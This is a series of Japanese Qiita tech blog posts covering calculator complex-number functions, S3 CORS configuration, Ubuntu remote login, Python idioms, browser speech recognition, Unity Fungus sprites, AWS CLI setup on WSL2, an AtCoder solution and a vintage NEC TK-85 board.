OmniAICreator/Qiita-1.07M huggingface dataset:
関数電卓の選び方（複素数編）

## シャープ機は複素数機能が使いづらい
本日のツイート

https://x.com/J7rp8U/status/1925209555988021266

この方が指摘する通り、シャープの関数電卓は複素数機能が使いづらいことは確か。
今回は各社関数電卓の複素数機能を見てみる。

## キー操作を表にまとめる
各機種で複素数に関する文字や関数を呼び出すキー操作がどうなっているか、表にまとめた。

| 文字・関数 | カシオ<br>CW | カシオ<br>EX | キヤノン | カシオ<br>ES | シャープ |
|:-:|:-:|:-:|:-:|:-:|:-:|
| $i$ | [SHIFT][9] | [ENG] | [ENG] | [ENG] | [D°M′S] |
| ∠ | [CATALOG][→][↓][OK] | [SHIFT][ENG] | [∫] | [SHIFT][(-)] | [2ndF][,] |
| 絶対値 | [CATALOG][↓][↓][↓][→][↓][↓][OK] | [SHIFT][（] | [Abs] | [SHIFT][hyp] | [2ndF][(-)] |
| 偏角(arg) | [CATALOG][→][↓][↓][OK] | [OPTN]1 | [Apps]3 | [SHIFT][2]1 | [MATH]1 |
| 共役複素数(conjg) | [CATALOG][→][↓][↓][OK] | [OPTN]2 | [Apps]4 | [SHIFT][2]2 | [MATH]0 |
| 実部抽出(real) | [CATALOG][→][⇓][↓][↓][OK] | [OPTN]3 | [Apps]5 | - | [MATH]2 |
| 虚部抽出(imag) | [CATALOG][→][⇓][↓][↓][↓][OK]  | [OPTN]4 | [Apps]6 | - | [MATH]3 |
| ▶r∠θ | [FORMAT][↓][↓][↓][OK] | [OPTN][↓]1 | [Apps]1 | [SHIFT][2]3 | （[2ndF][8]） |
| ▶a+b$i$ | [FORMAT][↓][↓][OK] | [OPTN][↓]2 | [Apps]2 | [SHIFT][2]4 | （[2ndF][9]） |

キヤノンF-789SGの使いやすさが際立っている。$i$も∠も絶対値もシフト無しで入力可。関数は全て[Apps]キーに集約されている。

次点が初代ClassWiz(EX)。∠がシフト側だが、$i$の裏に割り当てているのでこちらもわかりやすい。関数は全て[OPTN]キー内。

シャープ機も似たような割り当てとなっている。∠は$i$と隣接したキーの[2ndF]側、関数は[MATH]キー。ただし、絶対値は開き括弧が付かないため、手動で括弧を入れる必要がある。また、極座標・直交座標変換は式内関数がなく、表示モードの切替キーのみとなっていることに注意が必要である。

カシオESは[OPTN]キーがないため、複素数メニューが[SHIFT][2]（CMPLX）に割り当てられている。また、ES機には実部抽出・虚部抽出機能がない。これらの機能を使いたい場合、別の機種が良いだろう。

上記機種と比較すると、ClassWiz CWは煩雑なキー操作が必要である。$i$すらシフトが必要であり、∠に至ってはメニューの奥深くに埋もれている。∠を多用する複素数計算をするなら、ClassWiz CWは絶対に勧めない。
（なお、中国版のfx-991/999CN CWに限り∠が[SHIFT][8]に割り当てられており、そのクローンであるdeli D999/992CN Proも同一キーに∠が割り当てられている。次期CW機で他地域の機種も同様のキー割当とするか注目である。）

複素数計算がしづらいClassWiz CWを発売し、複素数計算のキー操作が容易な初代ClassWiz(EX)を販売終了にしたカシオの愚行。しかもカシオ機で代替となるESシリーズには実部抽出・虚部抽出機能が無い。
ますますEXと同じ操作体系を持つEXクローン機を勧めたくなってしまう。

## シャープ機はMメモリしか使えない
シャープ機の複素数機能の弱点はメモリ機能である。
カシオ・キヤノンが全ての文字メモリを使えるのに対し、シャープ機はMメモリしか使えない。このため、複数の値をメモリに入れて演算させることが不可能である。前述の方が使いづらいと言及した理由はおそらくこのメモリ機能の件ではなかろうか。

また、シャープ機で複素数計算を行うと答は必ず小数に変換され、ルートを含む式では表示できない。

## 説明書を確認し、できれば実機を操作してから購入したい
前述の方にはF-789SGも候補として勧めたが、古い機種のため気が進まないようだった。
しかし、新しい機種が必ずしもよいとは限らない。CWのような特定用途には非常に使いづらい製品も世に出てしまう。

今回のように、複素数計算を多用するなど主たる用途がはっきりしている場合、まずは各機種の製品画像ならびに説明書をダウンロードし（国内現行機種は全てWebから入手可能）、該当機能の操作について確認してほしい。たいていの説明書には具体的なキー操作が書いてあるため、イメージしやすいだろう。
ただし、シャープ機が複素数機能で文字メモリを使えない件はメモリ機能のところで言及されている。該当機能以外の部分にも注意点が書かれている場合があるので、できれば説明書をくまなく読むことを勧める（多くのPDF説明書は文字検索が可能であるため活用したい）。

購入前に実機を試す機会があればさらに望ましい。
シャープ機やキヤノン機はプラスチックパッケージのためパッケージの上から操作を試すことができ、さらにシャープ機は海外モデルのPCエミュレータが無料公開されているため購入前の確認がしやすい。
カシオ機は紙箱包装になったため、残念ながらパッケージの上から操作を試すことができなくなってしまった。家電量販店の店舗によっては展示品を用意しているところもあるため、そうした場所等で操作を試すとよいだろう。
s3 に他ドメインからアクセスしたい時、CORSポリシーを設定することを忘れるな

最近s3のCORSポリシー設定周りでごたついたことがあったので備忘録。


## 背景
簡単なwebアプリをs3 + CloudFrontのシステム構成で構築し公開。

が、デフォルトのCloudFrontのURLだと視認性が悪いので、カスタムドメインでアクセスできるようにroute53にAレコードを追加する対応を行なっていました。

```
# これだと視認性悪い
~~~~~~~.cloudfront.net

# 以下のようなカスタムドメインに変更
~~~hogehoge.jp
```

## 構成
※route53追加後の構成

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3605168/e9b8bac5-7288-4ed0-bdaf-5ff942a782ba.png)


## この構成で発生したエラー内容
追加構築したカスタムドメインのURLにアクセスした際、S3のファイルを参照する部分のみ以下のようなcorsエラーが発生。

```
Access to XMLHttpRequest at 'http://http://bucket.s3-ap-northeast-1.amazonaws.com/?max-keys=0' from origin 'http://hogehoge.jp' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.
```


## 解決
この際新しく追加したroute53 or CloudFront周りで何某設定し忘れたっけ？と思っていたんですが..

s3ファイル参照部分のみCORSエラーが発生しているということで、よくよく考えると原因はs3側の設定にありました。

### そもそもCORSとは

CORSとは、Cross-Origin Resource Sharingの略。

詳細は省きますが、端的にいうと以下のようなもので、今回のような『複数ドメインを経由する』場合には『CORSを許可してないとリソース元からアクセス拒否されたりする』ものになります。

> - CORS
>     - ブラウザのポリシーで異なるオリジンへのアクセスを許可するもの
> - CORSエラーの解決方法
>     - アクセスを受ける側(サーバー側に）レスポンスヘッダにAccess-Control-Allow-Originヘッダを付与する設定を追加する
> 
※非常にわかりやすかったため以下から引用させていただきましたmm

https://qiita.com/higakin/items/fabe6a23d564b20ad558


詰まるところ、今回は **『新しく追加したカスタムドメイン』から『s3のバケット』に対してアクセスをするためのCORSの許可がなかった** ためエラーが発生していた形でした。



### 具体対応
AWS s3ではCORSの設定を、コンソールの[Cross-origin resource sharing]から以下のようにjsonで記載して追加できるようになっているので、以下のように追加してやればOK。

```

[
  {
    "AllowedHeaders": [
      "Authorization"
    ],
    "AllowedMethods": [
      "GET",
      "HEAD"
    ],
    "AllowedOrigins": [
      "http://~~~~~~~.cloudfront.net", ←CloudFrontのURL。ここは以前設定していた..。
      "http://www.hogehoge.jp" ←ここ追加
    ],
    "ExposeHeaders": [
      "Access-Control-Allow-Origin"
    ]
  }
]
```

<br>

※コンソールから追加する流れがわかりやすい記事：

https://zenn.dev/xronotech/articles/64a848d1e5e93f

※参考公式：

https://repost.aws/ja/knowledge-center/s3-configure-cors


また、今回私の場合はterraformで管理していたので以下のように設定しました。
```
resource "aws_s3_bucket" "source" {

省略~~~

  cors_rule {
    allowed_headers = ["*"]
    allowed_methods = ["GET", "PUT", "POST", "DELETE", "HEAD"]
    allowed_origins = [
      "CloudFrontのURL",  ←CloudFrontのURL。ここは以前設定していた..。
      "カスタムドメインのURL" ←ここ追加
    ]
    省略~~~
  }

}
```

※参考公式：

https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_cors_configuration
プロフィール

プロフィール

Momoka Antenna
https://www.youtube.com/channel/UCXDDtpgsaEUFGEYMeY4WATg
Global Dream Space
https://www.youtube.com/channel/UCKPbzBzNeuDTCOfa2hiW5Xw
華田 桃歌
https://x.com/Hanada_Momoka
ちまたまーに【うりグリ子】
https://x.com/uriguriko
Momokaの節約&マネー術♪
https://x.com/mimitan96
華田桃歌
https://www.tumblr.com/blog/hanadamomoka888blog
Momokaの節約&マネー術♪
https://ameblo.jp/arigatonton6
ちまたまーに
https://science6ch.livedoor.blog/
魔法のかまどごはん｜エコで便利なアイテム 【タイガー魔法瓶】


つながるWi-Fiラボ
https://good888value.com/wifi/


https://misonikomi-radon.jimdosite.com
MacからUbuntuへのRemote login

自宅用サーバーとしてUbuntuのPCを作ってヘッドレス（ディスプレイ無し）で運用しようとしたところ、RDP接続で沼ったので書き留めておく。

サーバー：Ubuntu 24.04 LTS
クライアント：MacBookAir Apple M1 macOS Sequoia ver15.3.1
RDP接続ソフト：Microsoft remote-desktop

## 1. 沼った経緯
Ubuntu自体は認識しているが、そもそも接続できなかったり、接続するがログイン画面が現れずに真っ黒な画面が表示されるといった症状が出ていた。そこで　「Mac Ubuntu Remote desktop black screen」　などと打ち込んで調べたところ、様々な解決策が出てくる。

・ユーザーアカウント設定やログイン状況で整理したもの
・xrdpに回帰するもの
・vncを用いたもの
・仮想ディスプレイを設定するもの

一つずつ試したが、結果的に私の実力と環境では解決できず、最終的に起動しなくなった。。。（おそらく仮想ディスプレイ周りをいじった結果だと思う）

最終的にもっとシンプルな解決策が見つかった。以下、2ステップで解決。

## 2. Ubuntu側の設定
まずUbuntuにはRemote desktopとRemote loginという2つの設定が存在しており、これを理解する必要があった。以下のサイトを見つけてやっと理解できた。

https://gihyo.jp/admin/serial/01/ubuntu-recipe/0819

Remote desktop: ディスプレイにつながった状態でログインしている端末の画面とコントロールを得るもの
Remote login：ログイン画面から始まるもの。（windowsのリモートデスクトップに近い）

私がしたかったのはヘッドレス運用なので、Remote loginとなる。

この辺理解せずに全部ONにして闇雲にやると、どっちの機能にアクセスしているかによって挙動が変わったりするのだろう。

引用サイトのRemote loginの説明に従って設定。Remote desktopはOFFにした。

## 3. Windows Remote Desktopアプリの設定変更
Ubuntu側の設定を行っても、真っ黒な画面が表示されてログインできない症状は解決しなかった。散々ググった結果、以下QAを見つけて解決した！

神様！

https://askubuntu.com/questions/1521764/rdp-black-screen-with-white-cursor-on-24-04lts/1528263#1528263

>In the new Microsoft RDP Client (now called Windows App), you need to change the settings in the RDP file.
>- Find the line that says: use redirection server name:i:0
>- Change it to: use redirection server name:i:1

>If you can't find the RDP file, you can create a new one:

>1. Right-click on your current connection.
>2. Select "Export" to save the file.
>3. Open the saved file and make the changes mentioned above.
>4. Import the edited file as a new connection.

ググって出てくる大半の解決策はgnomeの不安定さを懸念してgnome以外に引っ越すものだったが、私の環境ではクライアント側に問題があったことになる。

## 反省
ちゃんと機能を理解すること、問題の切り分けを行うこと、を心がけたい。

（GUIが無いと不安だという）誰かのお役に立てば幸いです。
ライブラリが使えればいいという考えを辞めた理由

今回は、フレームワークが使えればいい、画面設計通りだからいい、仕様書通りだからいい、と考えていた私が、先輩にコードレビューをしてもらい、そんな考えがなくなった話をします。

当時の私のプロフィール
・大学生
・プログラミング言語やITソフトの使用経験あり
・国立情報工学科GPA3.5以上
・応用情報合格
・大手SIerから内定あり
エンジニアになる上ではっきり言って天狗になっていました。
今思えば、全然大したことない有象無象の大学生です。

さて、本題の話です。
インターンでWEBアプリ開発のフロントエンド(HTML,CSS,JS)の研修をしてしました。
そこで、画面設計書と仕様書（簡単なもの）を渡され、それを実装するといった内容でした。
私はそこで、周りより早く実装を終えて、やっぱり才能あるわなんて思っていました。

実装後、先輩にコードレビューをしてもらうことになりました。そこで、先輩に「なんで、ここでこのclassを使っているの？」「その使い方は環境が変わったらおかしくなるな」「機能を追加したときにおかしくなるな」などなど褒められるどころか様々な指摘をいただきました。
しかし、それだけでなく、丁寧にDOMの話や親や子(CSS)や、ライブラリの中身（Bootstrapのプロパティ）の話など様々な話をしてくれました。

私はその時、初めて「ただフレームワークが使えるだけじゃだめだな」と本気で思いました。

フレームワークは流行り廃りがありますが、やっぱりずっと変わらない技術や考え（今回はDOM）は本当に大事だなと思いました。
特によく言われるのは「アルゴリズムとデータ構造」、自分も大学生の頃は「スタック」「キュー」？こんなの覚えて何になるの？って本気で思っていました笑
これらの技術はネットワークやデータベースだけでなく低レイヤーにも関係があり、切っても切り離せないものですね。
Python の or って論理演算子以外の使い方があったんですね...

```python
a = 0
b = 1
value = a or b

print(f"{value=}")
```

これで出力されるのは `value=1` なんですね。
`or`で指定されたオブジェクトを順に見ていき、最初の**真**か、全て偽の場合の**最後の値**を代入するそうです。

これを利用すれば簡潔にかける場面がありそうです。
例えばデフォルト値の設定です。今までif文で書いていたものを or で代用できそうです。

```python:if文を利用
if user_input:
    user_name = user_input
else:
    user_name = "ゲスト"

print(f"{user_name=}")

# ------------------------------------------ #

user_name = user_input if user_input else "ゲスト"
print(f"{user_name=}")
```

↓↓↓

```python:orを利用
user_name = user_input or "ゲスト" # デフォルトの名前を用意しておきます。
print(f"{user_name=}")
```

他にも、複数の入力があるが１つだけ有効にしたい場合などにも応用できそうです。

```python: orを利用
# 入力フォームで、連絡先はどれか1つだけ記入すればよい仕様です
phone = None
email = "user@example.com"
social_id = None

contact = phone or email or social_id
print(f"{contact=}")
```

そして`and`も似たような使い方ができます。`or`とは逆に、最初の**偽**か、全て真の場合の**最後の値**を代入するそうです。

```python:andを利用
a = 1
b = 0
value = a and b

print(f"{value=}")
# 出力： value=0
```

---

表題の内容はここまでです。
以下はpythonのマニアックな機能を一部まとめました。
独断と偏見と、私の拙い知識に基づくものですので、ご容赦ください。

# ... (Ellipsis)

Python には `Ellipsis` という組み込みオブジェクトがあり、ドット３つで表示されます。「未設定」の意味合いがあり、`None`や`False`と区別して使うことができます。

```python
value = ...
print(value) # 出力： Ellipsis
print(type(value)) # 出力： <class 'ellipsis'>
print(bool(value)) # 出力： True
```

`pass` と似た使い方ができますが、`...` は変数に代入することができます。引数のデフォルト値に指定して、条件分岐することもできます。

```python
def get_value(x=...):
    if x is ...:
        raise ValueError("xを指定してください")
    return x
```

# 辞書のキーにタプルを使う

辞書のキーはハッシュ可能なオブジェクトを指定できます。中でも魅力に感じているのがタプルです。これを利用すれば、複数の要素でユニークなバリューを設定できます。データベースの複合キーみたいですね。

```python
# 出発地と到着地のペアで移動時間を管理します
travel_times = {
    ("東京", "大阪"): 160,  # 分
    ("東京", "名古屋"): 100,
    ("大阪", "広島"): 90,
}
```

# 関数に属性をつける

（`class`を使わなくても）関数に属性をつけることができます。

```python
def my_function():
    print("Hello!")

my_function.version = 1.0
print(my_function.version) # 出力： 1.0
my_function() # 出力： Hello!
```

```python
def counter():
    counter.count += 1
    return counter.count

counter.count = 0
print(counter()) # 出力： 1
print(counter()) # 出力： 2
```

簡単なメタデータを付属する時などに利用用途があるかもしれません。
Webブラウザで音声認識する方法をいろいろ試す

# 1. はじめに
近々、Webブラウザで音声認識を行うWebアプリを開発する必要があるため、Webブラウザでの音声認識方法をいくつか試してみました。

# 2. Webブラウザでの音声認識アプローチ
調べてみたところ、ブラウザで音声認識を行うアプローチは主に以下の3つが考えられました。今回はこれらのアプローチについて、ローカルLLM（主にQwen）の力を借りてサンプルコードを作成しました。基本的にプロンプトへの指示のみでコードを生成しているため、非効率な記述などがあるかもしれませんが、ご容赦ください。

| アプローチ | 概要 |
|----------|------|
| 1. Web Speech API | ブラウザ標準で利用できる音声認識API。無料で利用可能で、ブラウザが音声データをサーバーに送信し、音声認識処理が行われます。ChromeではGoogleのサーバーが使用されます。 |
| 2. Speech to Text APIサービス | オンプレミスまたはクラウドサービス上の音声認識APIを利用します。 |
| 3. バックエンドサーバーで独自に音声認識 | 音声データをバックエンドサーバーに送信し、サーバー側で音声認識処理を行います。 |

# 3. アプローチ1 (Web Speech APIを利用した音声認識)
Web Speech APIを使って音声をリアルタイムでテキストに変換し、画面に表示するサンプルコードです。3秒間無音状態が続いた場合、音声入力結果を確定します。

[サンプルコード](https://github.com/devgamesan/SpeechRecognitionSample/blob/main/sample1/WebSpeechApi1.html)

# 4. アプローチ2 (ブラウザからSpeech to Text APIを呼び出す音声認識)
MediaRecorderで音声を録音し、それをSpeech to Text API（今回はOpenAIの文字起こしサービス）に送信して文字起こしを行いました。また、Web Audio APIで無音状態を検知し、1秒間無音が続いた時点でそこを区切りとし、それまでの音声をSpeech to Text APIに送信するようにしています。これにより、連続した音声認識が可能です。セキュリティ上の懸念はありますが、検証目的のため、今回はWebブラウザから直接OpenAIの文字起こしサービスを呼び出しています。

[サンプルコード](https://github.com/devgamesan/SpeechRecognitionSample/blob/main/sample3/WhisperTranscribe2.html)

# 5. アプローチ3 (バックエンドサーバーで独自に音声認識)
ブラウザから音声データをバックエンドサーバーに送信し、バックエンドサーバーで音声認識プログラム（Whisper）を実行して音声認識を行います。ブラウザとバックエンドサーバー間の音声データおよび音声認識結果のやり取りにはWebSocketを使用しました。音声はMediaRecorderで録音しており、無音状態の検知もブラウザ側でWeb Audio APIを使って実現しています。

[サンプルコード(クライアント側)](https://github.com/devgamesan/SpeechRecognitionSample/blob/main/sample6/WebSocketTranscribe3.html)

[サンプルコード(バックエンドサーバー側)](https://github.com/devgamesan/SpeechRecognitionSample/blob/main/sample6/server.py)

# まとめ
今回はいくつかの方法で、Webブラウザでの音声認識を試しました。率直な感想として、**Web Speech APIは非常に優秀だと感じました。** MediaRecorderと音声認識APIを使って独自に音声認識を実装するのは、生成AIを使っても何度か試行錯誤が必要で、比較的骨が折れる作業でした。機微な情報を扱い、外部サーバーに音声データを送信できないといった特別な事情がない限り、**Web Speech APIを利用するのが賢明**でしょう。

また、今回は検証できませんでしたが、WebRTCを使ってブラウザからバックエンドサーバーに音声データをリアルタイムに送信し、それをGoogle Cloud Speech-to-Textなどのストリーム対応音声認識サービスに流し込んでリアルタイム音声認識を行うアプローチも考えられます。そのうち試してみたいと思います。
FungusにおけるSprites（スプライト）機能の使い方まとめ

# 緒言

Unityの学習をはじめていたんだけど、いかんせん難しく、学習を途中で挫折するくらいなら便利モジュールでUnityに慣れるところから始めようとFungusを見つける。

一通りの機能は確認し終えたので、頭の中の整理を兼ねて少しずつ記事にまとめて行こうと思ってます。

https://www.youtube.com/watch?v=WMDcGTXlyIw&list=PLQoRPTaW_F9ZJxVVw2-uDl4uYMAbEIC3v&index=8

# 既存投稿一覧ページへのリンク
[一覧ページ](https://qiita.com/o_chan_t/items/fc759695acfaef8df2cc)

## その他・記事まとめ
[Unity関連 / Qiita](https://qiita.com/o_chan_t/items/0b5ae1e7c45f106082b8)

# Fungusとは
**Fungus**はUnityでノベルゲームや会話イベントを簡単に作成できるアセットで、Sprites（スプライト）機能を使うことで、画面上の画像やキャラクター立ち絵、アイテムなどをインタラクティブに扱うことができます。以下に、FungusでのSprites機能の基本的な使い方とポイントをまとめます。

---

# **1. スプライト表示・管理の基本**

- **スプライト（Sprite）の表示**  
  Fungusでは、キャラクターの立ち絵や背景、アイテム画像などをSpriteとして扱います。  
  キャラクターの場合は「Character」オブジェクトの「Portraits」に複数のスプライト（表情差分など）を登録できます。

- **スプライトの切り替え**  
  会話中にキャラクターの表情を変えたい場合、SayコマンドやPortraitコマンドで「Portrait」を指定することで、表示するスプライトを切り替えることができます。

---

# **2. スプライトのインタラクション（クリック・ドラッグ等）**

- **Clickable Sprite（クリック可能スプライト）**  
  メニューから「Create」→「Clickable Sprite」を選ぶと、クリック可能なスプライトを作成できます。  
  これには「Box Collider 2D」と「Clickable 2D」コンポーネントが自動で付与され、クリックイベントを受け取る準備ができます。

- **Draggable Sprite（ドラッグ可能スプライト）**  
  「Create」→「Draggable Sprite」でドラッグできるスプライトを作成できます。  
  例えばアイテムをドラッグして使うような仕組みが簡単に実装できます。

- **Drag Target Sprite（ドロップ先スプライト）**  
  「Create」→「Drag Target Sprite」で、ドラッグしたスプライトをドロップするターゲットを作成できます。

- **イベントの設定**  
  クリックやドラッグなどのイベント時に実行する処理は、Flowchartのブロックで「Execute On Event」を「Sprites」や「Object Clicked」に設定し、コマンドを追加して制御します。

---

# **3. スプライトのコマンド操作**

- **Show Sprite / Hide Sprite**  
  スプライトの表示・非表示を切り替えるコマンドです。  
  例えば、特定のタイミングでキャラクターやアイテムを表示・消去できます。

- **Fade Sprite**  
  スプライトをフェードイン・フェードアウトさせることも可能です。コマンドでスプライトレンダラーと色、継続時間を指定します。

- **Set Clickable2D**  
  Clickable Spriteのクリック受付を有効・無効にすることができます。

---

# **4. スプライトを使った会話・演出例**

- **キャラクターの立ち絵表示**  
  Characterオブジェクトにスプライトを登録し、SayコマンドやPortraitコマンドで表示・非表示や表情変更ができます。

- **背景の切り替え**  
  背景用のSprite Rendererを持つオブジェクトを作成し、必要に応じてスプライトを差し替えたり、Fade Spriteで演出を加えます。

- **アイテム取得やギミック操作**  
  Clickable SpriteやDraggable Spriteを使って、画面上のアイテムをクリック・ドラッグしてイベントを発生させることができます。

---

# **まとめ**

FungusのSprites機能は、  
- キャラクターや背景の表示・切り替え  
- クリックやドラッグなどのインタラクション  
- フェードや表示・非表示などの演出  
を直感的な操作とコマンド追加で実現できます。これにより、ノベルゲームや脱出ゲームなど多彩な演出が可能です。
WSL2 (Ubuntu) で AWS CLI を使うための準備

# はじめに

基本的には [AWS CLI の最新バージョンのインストールまたは更新](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/getting-started-install.html) を一通り読めば OK ですが、作業メモとして残しておきます。

# インストール手順

下記コマンドを順番に実行する

```bash
sudo apt install unzip
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
```

## インストール確認

下記コマンドを実行し、バージョンが表示されればOK

```bash
/usr/local/bin/aws --version
# aws-cli/2.27.22 Python/3.13.3 Linux/5.15.167.4-microsoft-standard-WSL2 exe/x86_64.ubuntu.24
```

これだけだと当然コマンドは実行出来ない。
認証情報が必要なので下記の作業を行う。

## 認証情報に必要なアクセスキーidとシークレットアクセスキーを取得する

AWSアクセスキーid と、AWSシークレットアクセスキーが必要なので、AWSにログインして取得する

右上のアカウント情報から、「セキュリティ認証情報」を選択

![スクリーンショット 2025-05-24 191605.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76272/b38b4526-cce4-4b34-a3d1-1e9656a6272c.png)

![スクリーンショット 2025-05-24 191807.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76272/39b29938-90c7-400f-b6fb-6ebae82c8122.png)

## アクセスキーの項目から「アクセスキーの作成」を選択

![スクリーンショット 2025-05-24 192041.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76272/2cf7c5e4-5d7f-4147-8d37-61d90da88e27.png)

## CLI を選択

![スクリーンショット 2025-05-24 192148.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76272/1da3f798-9bb3-4cf1-ad2e-8ed70254c76f.png)

選択すると「上記のレコメンデーションを理解し、アクセスキーを作成します。」のチェックボックスが表示されるので、選択して次へ。

## キーに分かりやすい名前を付ける

適当でOK。僕は使っているPCの名前をつけました。

![スクリーンショット 2025-05-24 192409.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76272/15447616-6aa7-4a58-b675-5dab07301f3c.png)

## アクセスキーid、シークレットアクセスキーを保存する

それぞれコピーしてテキストエディタに保存するなり、CSVをダウンロードするなりする。

![スクリーンショット 2025-05-24 192425.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76272/90e9f832-0d6c-437c-8ab8-c2d1a91c2421.png)


## 認証情報を登録する

下記コマンドを実行。

```bash
aws configure
```

AWSから取得したアクセスキーidとシークレットアクセスキーを登録する。
デフォルトリージョンは入れなくてもいいが、よく使うリージョンを選択するのがオススメ。

```
AWS Access Key ID [None]: XXXXXXXXXXXXXXXXXXX
AWS Secret Access Key [None]: XXXXXXXXXXXXXXXXXXX
Default region name [None]:  ap-northeast-1
Default output format [None]: 
```

以上。

# 参考

https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/getting-started-install.html
Atcoder解いてみた　ABC 072 C - Together

# ABC 072 C - Together
問題は[こちら](https://atcoder.jp/contests/abc072/tasks/arc082_a)  

# 最初の私の回答  
整数Xをa[i]と差分をとっていき、差が絶対値の1以下の場合のカウントをとり、  
カウントの最大値を求めるためのコードを書いた。  

```C++
#include <iostream>
#include <string>
#include <map>
#include <cstring>
#include <cmath>
#include <algorithm>
using namespace std;

int main() {
    int N; // 1 <= 整数列の長さ
    int a[100000];

    cin >> N;

    for (int i = 0; i < N; i++) {
        cin >> a[i];
    }

    int aMax = 0;
    int aMin = 100000;

    for (int i = 0; i < N; i++) {
        if (aMax <= a[i]) {
            aMax = a[i];
        }
        if (aMin >= a[i]) {
            aMin = a[i];
        }
    }

    int maxCount = 0;
    for (int x = aMin - 1; x <= aMax + 1; x++) {
        int tmpCount = 0;

        // xに対して差分の絶対値が1以下の個数をカウント
        for (int i = 0; i < N; i++) {
            int absDiff = abs(x - a[i]);
            if (absDiff <= 1) {
                tmpCount++;
            }
        }

        if (maxCount <= tmpCount) {
            maxCount = tmpCount;
        }
    }

    std::cout << maxCount << std::endl;

    return 0;
}
```  
しかし、TLE...  

# 模範解答をヒントに書いたコード  
結局、a[i]のヒストグラムを作り、ヒストグラムに格納されているX-1,X,X+1の個数をカウントしていき、  
カウントの最大値を求めればよかった。  
この時、aが最小値である0の時に-1される場合があることに注意してコードを書いた。  

```C++
#include <iostream>
#include <string>
#include <map>
#include <cstring>
#include <cmath>
#include <algorithm>
using namespace std;

int main() {
    // xの探索範囲はどうする? →aの最小値からaの最大値
    // ※aが最小値である0の時に-1されること場合があることに注意


    int N; // 1 <= 整数列の長さ
    int a[100000]; // 0<=, <100000
    int hist[100010]; //最初の要素は-1用
    memset(hist, 0, sizeof(hist));

    cin >> N;

    hist[0] = 0; // -1の個数
    for (int i = 0; i < N; i++) {
        cin >> a[i];
        hist[a[i] + 1]++; //histの一番最初は-1用 
    }

    int count = 0;

    //x探索範囲は、aの取りうる値に合わせた
    for (int x = 0; x < 100000; x++) {
        int histIdxX = x + 1; // xの最小値が-1なためのオフセット付け
        int tmpCount = hist[histIdxX - 1] + hist[histIdxX] + hist[histIdxX + 1];

        if (count <= tmpCount) {
            count = tmpCount;
        }
    }

    std::cout << count << std::endl;

    return 0;
}
```
今回、xの探索範囲が分かり辛かった、、、  
0<=a[i]<100000とあったのだが、a[i]に+-1してもこの条件が守られると想定してxの探索範囲を決定するのが無難だったか  
とにかく、xの+-1の範囲の値の個数を何も考えず数えるのがgreedyなのだろうｋ
NEC TK-85


<font COLOR="BLUE">

#### NEC TK-85 (1980年頃)</FONT>

::: note

- 探し物してたら久しぶりに出てきたパソコンの前身のワンボードマイコン
- 若い方は馴染みが無いと思うので載せてみました。

:::

- パソコンで言う所のモニタは7セグLED。左4桁がアドレス、右がデータ。
- ハンドアセンブルしてテンキー(キーボード)で16進数を入れて実行する。
- 例えばAレジスタに0ffHを入れる場合、 MVI A, 0xff
- これは 3effになるので3effをキーで入力。
- 3eはオペコード MVI aに対応するコード。00111110B。
- こんな感じで+5VをMPUに流すとプロセッサに実装されたALU(算術演算ユニット)やレジスタ保持用の順序回路が動く。
(命令フィッチ->命令デコード->実行->ライトバック　この繰り返し)

<HR>
<FONT COLOR=BLUE>

#### TK-85 本体写真
</FONT>

- 諸元 MPU 8085A 2.45MHz / RAM 1KBytes　i8080の改良版.
 
- アドレス8000Hにあるデータ02Hを表示中。 キーがバウンジングするのでLED動かそうと思ったが諦め。

![P1450135.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821882/d6feed98-3ce9-464c-8eff-6c93b13531f9.jpeg)

<FONT COLOR=BLUE>

#### 8085マイクロプロセッサ

</FONT>
旧ロゴの方が硬派で良かった。

μPD8255を介してパラレルI/Oポートに接続
 
![P1450136.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821882/69c505b3-46ca-438a-a8e1-e032851986fc.jpeg)

二年後の1978年にi8086が発表されてx86命令セットの誕生
この基本アーキテクチャは健在。

<FONT COLOR=BLUE>

#### CMTカセットインターフェース部

</FONT>
45年経っても見かけ電解コンデンサに異常なし

![P1450137.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821882/28a145d9-c806-4ef1-be2d-420e5734406c.jpeg)

<FONT COLOR=BLUE>

### TK-80互換ボード ND80Z3(z80)との比較

</FONT>

参考記事 https://qiita.com/inf102/items/44dbcf46389c42a97d5f

![P1450138.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821882/c33b4c06-9ed7-4322-93dc-2cc9791cff3a.jpeg)




<FONT COLOR=BLUE>

#### 1977年のマイコンの解説書(ラ製別冊)
</FONT>

![P1450139.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821882/1c1da729-1d77-41f7-adc6-71be9bf418d2.jpeg)

<FONT COLOR=BLUE>

#### マイコンというだけあって全て低レベルな記事
</FONT>
NANDゲートによるFF回路。自身の出力を相手の入力にそれぞれフィードバックさせているのかわかる。SRAM等で使われている。


![P1450141.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821882/e5cdc3a3-3129-4e40-b740-05852cf98e86.jpeg)

<FONT COLOR=BLUE>

#### 裏表紙 初期のプリンタの広告
</FONT>
2KBytesメモリボードが2.4万円という広告も有り。
8GBytesでは1000億円超えますが現在は3000円位。結構安くなった。

![P1450140.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821882/bce006dc-4c97-4b0e-a47b-4bd7262b9b02.jpeg)

<HR>

雑誌についてきたPC8001の原寸大キーボードの写真を段ボールで作った箱に張り付けて教育テレビでやってたパソコン入門の放送を見ながらキー入力してました。
